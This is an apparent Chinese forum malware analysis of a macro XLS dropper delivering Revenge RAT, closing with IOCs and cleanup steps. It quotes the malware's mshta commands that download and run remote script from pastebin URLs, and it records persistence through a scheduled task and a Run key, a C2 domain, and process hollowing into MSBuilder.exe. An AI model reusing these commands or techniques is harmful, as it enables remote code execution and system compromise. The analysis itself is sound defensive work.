本帖最后由 Yennfer_ 于 2019-9-24 09:47 编辑

萌新分析,很多不足,请大佬们提出问题,共同学习。

基本信息FileNameFileSizeFileTypeMD5

Order_679873892xls47,4722 ByteRat7641fef8abc7cb24b66655d11ef3daf2

简介

病毒是一个宏病毒,点击启用宏后会通过mshta.exe来访问url,得到要执行的代码,病毒会创建计划任务与设置开机自启,通过powershell执行代码,从url得到两段PE数据,通过宏加载第一个PE文件,然后通过第一个PE文件创建傀儡进程,傀儡进程是一个远控

流程图

9-21.png (35.65 KB, 下载次数: 7)

2019-9-24 09:47 上传

详细分析

解密

病毒会调用mshta.exehttp://bit.ly/8hsshjahassahsh打开网站后,发现是空白,在浏览器F12,查看网络请求,刷新页面

111.png (162.94 KB, 下载次数: 9)

2019-9-21 21:01 上传

往下滑,找到script代码,复制出来,复制到浏览器的console

112.png (77.52 KB, 下载次数: 7)

2019-9-21 21:01 上传

去掉结尾的,把unscape之前的内容改为console.log(,输出解密结果

113.png (54.27 KB, 下载次数: 5)

2019-9-21 21:01 上传

StrReverse作用是使字符串反序,整理一下

114.png (29.78 KB, 下载次数: 6)

2019-9-21 21:01 上传

最后会执行命令  WScript.Shell.RUN mshtahttp://www.pastebin.com/raw/nv5d9pYu

访问这个url后会发现这个页面已经挂了,但是在ANYRUN有人跑过这个样本,可以看见传回的参数

115.png (222.41 KB, 下载次数: 5)

2019-9-21 21:01 上传

同样的方法在console跑一遍,然后整理一下

116.png (103.02 KB, 下载次数: 5)

2019-9-21 21:02 上传

结束进程

第一段代码,调用CMD关闭进程winword.exe、excel.exe、MSPUB.exe、POWERPNT.exe

117.png (28.17 KB, 下载次数: 4)

2019-9-21 21:02 上传

创建计划任务

第二段代码,创建一个计划任务,名为Windows Update,每60分钟执行一次,执行的内容是

mshta.exehttp://pastebin.com/raw/vXpe74L2

118.png (37.52 KB, 下载次数: 5)

2019-9-21 21:02 上传

解密计划任务执行的内容

在浏览器打开url后,全都是混淆的代码

119.png (60.48 KB, 下载次数: 7)

2019-9-21 21:03 上传

用一样的方法在Console里面用Console.log输出出来

120.png (178.17 KB, 下载次数: 6)

2019-9-21 21:03 上传

复制到notepad++,看见代码最下面有个replace

121.png (2.6 KB, 下载次数: 4)

2019-9-21 21:03 上传

按Ctrl+H将中间的字符串替换掉

122.png (64.31 KB, 下载次数: 6)

2019-9-21 21:03 上传

得到两个字符串,用StrReverse函数将字符串反过来,最后是用powershell执行这段代码

123.png (14.28 KB, 下载次数: 5)

2019-9-21 21:04 上传

代码解密出来为

124.png (37.98 KB, 下载次数: 7)

2019-9-21 21:04 上传

利用powershell执行,第三行的代码来自urlhttps://pastebin.com/raw/wMG90xwi

125.png (115.94 KB, 下载次数: 5)

2019-9-21 21:04 上传

经过解密后:得到一个MZ头的PE数据

126.png (54.51 KB, 下载次数: 5)

2019-9-21 21:04 上传

第四行的代码url为https://pastebin.com/raw/W455MkAZ

127.png (33.16 KB, 下载次数: 6)

2019-9-21 21:05 上传

经过解密后,也可以得到MZ开头的数据

128.png (38.19 KB, 下载次数: 6)

2019-9-21 21:05 上传

给创建傀儡进程传参

这里先创建一个实例,类和方法都来自第一段数据dll中,然后传入两个参数,第一个是创建的进程名“MSBuiler.exe”,第二个参数是第二段获取的PE结构数据

168.png (29.22 KB, 下载次数: 2)

2019-9-23 11:31 上传

调用powershell,执行上面代码

130.png (68.41 KB, 下载次数: 4)

2019-9-21 21:06 上传

第二段代码内容:

131.png (48.64 KB, 下载次数: 6)

2019-9-21 21:06 上传

创建计划任务

访问http://pastebin.com/raw//JdTuFmc5获得要执行的代码

133.png (128.32 KB, 下载次数: 4)

2019-9-21 21:08 上传

和前面一样,改成console.log

134.png (182.4 KB, 下载次数: 5)

2019-9-21 21:08 上传

解密之后,发现与上一段代码相同,只是计划任务时间从60分钟运行一次,变成了300分钟运行一次修改注册表

第四段代码修改注册表,内容是http://pastebin.com/raw/CGe3S2Vf取回的内容

135.png (27.81 KB, 下载次数: 5)

2019-9-21 21:09 上传

136.png (88.4 KB, 下载次数: 5)

2019-9-21 21:09 上传

一样,放进console里面,改成console.log,解密出的代码如图

137.png (167.81 KB, 下载次数: 5)

2019-9-21 21:09 上传

最后还是和前两段一样的内容,在注册表自启动中写入,利用Powershell执行代码

138.png (31.54 KB, 下载次数: 5)

2019-9-21 21:09 上传

反混淆

通过前面MSBuilder.exe编译可以得到两个PE文件,一个DLL,一个EXE,都是用.net编译,都可用de4dot反混淆

139.png (89.69 KB, 下载次数: 5)

2019-9-21 21:10 上传

反混淆后使用dnSpy查看dll文件,发现其中还是有很多混淆,是ConfuerEX,用工具解一下ConfuerEX混淆

解混淆之前:

140.png (23.82 KB, 下载次数: 5)

2019-9-21 21:11 上传

解混淆之后:

141.png (23.09 KB, 下载次数: 7)

2019-9-21 21:11 上传

在JS代码最后,会调用.dll中的类和方法

142.png (23.47 KB, 下载次数: 5)

2019-9-21 21:11 上传

143.png (23.16 KB, 下载次数: 7)

2019-9-21 21:11 上传

创建傀儡进程

在Dodo函数传入两个参数,第一个是JS代码中写的MSBuilder,第二个是JS代码中的$f,就是前面解密出的exe文件

144.png (19.14 KB, 下载次数: 4)

2019-9-21 21:12 上传

在五个目录下查找MSBuilder.exe

145.png (35.67 KB, 下载次数: 5)

2019-9-21 21:12 上传

当查找到MSBuilder后,就执行下面的代码

146.png (32.47 KB, 下载次数: 4)

2019-9-21 21:13 上传

这个地方调用了tickleme函数,tickleme函数又调用了PEHeaderE和FUN函数

147.png (44.76 KB, 下载次数: 4)

2019-9-21 21:13 上传

PEHeaderE函数:

148.png (69.14 KB, 下载次数: 5)

2019-9-21 21:13 上传

FUN函数里又调用了Smethod_0函数,传入的第一个参数是MSBuidler.exe第二个参数是exe的十六进制数据

149.png (31.22 KB, 下载次数: 5)

2019-9-21 21:13 上传

Smethod_0函数,先创建了一个MSBuilder的进程

150.png (26.17 KB, 下载次数: 5)

2019-9-21 21:13 上传

获取到EXE的PE头和ImageBase

151.png (33.29 KB, 下载次数: 6)

2019-9-21 21:13 上传

判断是32位系统或64位系统,调用获取线程上下文函数

152.png (36.73 KB, 下载次数: 5)

2019-9-21 21:14 上传

从内存中读取4字节数据,然后卸载映像,清空内存,方便后面注入

153.png (34.82 KB, 下载次数: 5)

2019-9-21 21:14 上传

得到exe ImageBase的大小然后申请对应大小的空间

154.png (52.56 KB, 下载次数: 4)

2019-9-21 21:14 上传

在申请的空间中写入exe的header

155.png (37.47 KB, 下载次数: 6)

2019-9-21 21:15 上传

然后获取到节表,遍历写入节表的所有节

156.png (47.7 KB, 下载次数: 5)

2019-9-21 21:15 上传

157.png (59.08 KB, 下载次数: 5)

2019-9-21 21:15 上传

将前面获取到的线程上下文放回,然后唤醒线程,完成创建傀儡进程,执行exe里的内容

158.png (58.53 KB, 下载次数: 4)

2019-9-21 21:15 上传

EXE

exe中可以看见C2服务器信息、互斥量、ID等信息

159.png (27.04 KB, 下载次数: 5)

2019-9-21 21:16 上传

进来先找到main函数

163.png (13.48 KB, 下载次数: 4)

2019-9-23 10:09 上传

.SCG就是new的自己,然后再调用Execute()函数,Execute函数内分别是This.SC、This.PT、This.INST三个函数,每个函数创建了一共线程,执行不同的代码

164.png (21.19 KB, 下载次数: 2)

2019-9-23 10:09 上传

165.png (17.75 KB, 下载次数: 3)

2019-9-23 10:09 上传

其中包含有对C2服务器的TCP链接

166.png (32.31 KB, 下载次数: 3)

2019-9-23 10:09 上传

获得主机各种信息包括病毒ID、IP、主机名、系统信息、内存、杀软信息等,并用key值(lunlaylo)做分隔符,然后发送到服务器

167.png (96.89 KB, 下载次数: 5)

2019-9-23 10:09 上传

谷歌了一下互斥量“RV_MUTEX-WindowsUpdateSysten32”,发现是一个成熟的远控,名叫” Revenge Rat”

样本溯源File NameMD5

Order_679873892xls7641fef8abc7cb24b66655d11ef3daf2

.dlld1726dc5808c22be63507e06bbdc087

.exeesd785a808f7272fb79E33a66570d844

C2:meandmyjoggar.duckdns.org

URL:http://www.pastebin.com/raw/nv5d9pYu

http://pastebin.com/raw/vXpe74L2

https://pastebin.com/raw/W455MkAZ

http://pastebin.com/raw//JdTuFmc5

http://pastebin.com/raw/CGe3S2Vf

MUTEX:RV_MUTEX-WindowsUpdateSysten32查杀方案

删除注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AvastUpdate

删除名为Windows Update和Update的调用mshta.exe的计划任务

结束进程“MSBuilder.exe

总结

病毒使用excel中的宏执行代码,执行的代码都是从url中获取然后解密出来得到,添加的自启动或计划任务也没有程序落地,每次运行都从url得到数据创建一个傀儡进程实现远控

Android 宏病毒,xls宏病毒,程序不落地创建傀儡进程实现远控相关推荐

  1. Ramnit感染型病毒创建傀儡进程的方法

    Ramnit感染型病毒创建傀儡进程的方法 样本信息: MD5: FF5E1F27193CE51EEC318714EF038BEF SHA1: B4FA74A6F4DAB3A7BA702B6C8C129 ...

  2. android studio 另一个程序正在使用此文件 进程无法访问

    不知道从哪个版本开始,as 总是时不时的提示下面的错误, 一种简单的解决方式: 切换到Terminal 窗口,直接输入gradlew -stop ,再build就可以正常运行了. gradlew -s ...

  3. android socket 发送byte_如何正确地创建和销毁网络通讯程序中的Socket类的对象实例...

    软件项目实训及课程设计指导--如何正确地创建和销毁软件应用系统中网络通讯中的Socket类的对象实例 1.基于TCP/IP协议的Socket通信相关的基础知识 (1)TCP/IP(Transmissi ...

  4. Android应用apk的程序签名详解

    http://www.jcodecraeer.com/a/anzhuokaifa/androidkaifa/2012/1009/423.html 编辑推荐:稀土掘金,这是一个高质量的技术干货分享社区, ...

  5. Android之获取应用程序(包)的大小-----PackageManager的使用(二)

    http://blog.csdn.net/qinjuning/article/details/6892054 通过第一部分 << Android中获取应用程序(包)的信息-----Pack ...

  6. Android之中获取应用程序(包)的信息-----PackageManager的使用(一)

    转载:http://blog.csdn.net/qinjuning/article/details/6867806 本节内容是如何获取Android系统中应用程序的信息,主要包括packagename ...

  7. Android中获取应用程序(包)的信息-----PackageManager的使用(一)

    本节内容是如何获取Android系统中应用程序的信息,主要包括packagename.label.icon.占用大小等.具体分为两个 部分,计划如下: 第一部分: 获取应用程序的packagename ...

  8. 编写android驱动程序,Android 驱动编写LED-NDK程序

    1. 首先编写LINUX内核模块LED #include #include #include #include #include #include #include #include MODULE_L ...

  9. Android扩展类方法,Android 扩展 uni小程序SDK 原生能力

    Android 扩展 uni小程序SDK 原生能力 概述 本文档主要介绍如何扩展 uni小程序SDK 原生能力. 什么是扩展原生能力? 扩展原生能力指的是将您原生开发的功能通过一定规范暴露给 uni小 ...

  10. [Android系列—] 2. Android 项目目录结构与用户界面的创建

    前言 在 [Android系列-] 1. Android 开发环境搭建与Hello World 这一篇中介绍了如何快速搭建Android开发环境, 并成功了建立一个没有任何代码更改的 Android ...

最新文章

  1. phpStorm无法使用svn1.8的解决办法
  2. matlab 恶俗的缩写combntns()
  3. Java 关于File使用
  4. c 语言冒泡排序,c 语言冒泡排序
  5. 从Windows到Linux
  6. [HNOI2012]集合选数(思维构造 + 状压dp)
  7. sql中in与php数组,格式化SQL“IN”子句的PHP数组
  8. metricbeat监控多个linux_Azure 虚拟机内存利用率监控(2)
  9. EM算法极其推广---EM算法的收敛性
  10. matlab是以什么运算为基础,matlab基础练习题及答案讲解
  11. 笔记本html连接电视机黑屏是怎么回事,电脑连接电视黑屏是怎么回事
  12. Docker启动失败提示【exec user process caused: exec format error】
  13. pytorch函数之nn.Linear
  14. python实现PDF文件合并成一个文件
  15. 2012-2013考研英语词汇
  16. win10操作快捷键 VsCode操作快捷键及使用
  17. 华为交换路由命令学习笔记
  18. 264.高德地图的使用---驾车出行路线规划(4)
  19. 哪种品牌台灯适合学生用?盘点学生护眼台灯十大牌子
  20. 【读书笔记】数学之美

热门文章

  1. python的词性标注
  2. uniapp——如何在项目中使用阿里字体图标
  3. 计算机表格常用根式,平方根表
  4. ZUFE 2017院赛 - Problem M: 图样图森破(树状数组)
  5. web前端开发做项目,CSS盒子模型居中方法
  6. MTK平台Camera图片的Exif信息
  7. 联想怎么进入linux界面,联想(Lenovo)为何重返Linux桌面?
  8. 字节云数据库未来方向的探索与实践
  9. [GIS教程] 5.2 空间数据管理 | SDE空间数据引擎
  10. idea的替换快捷键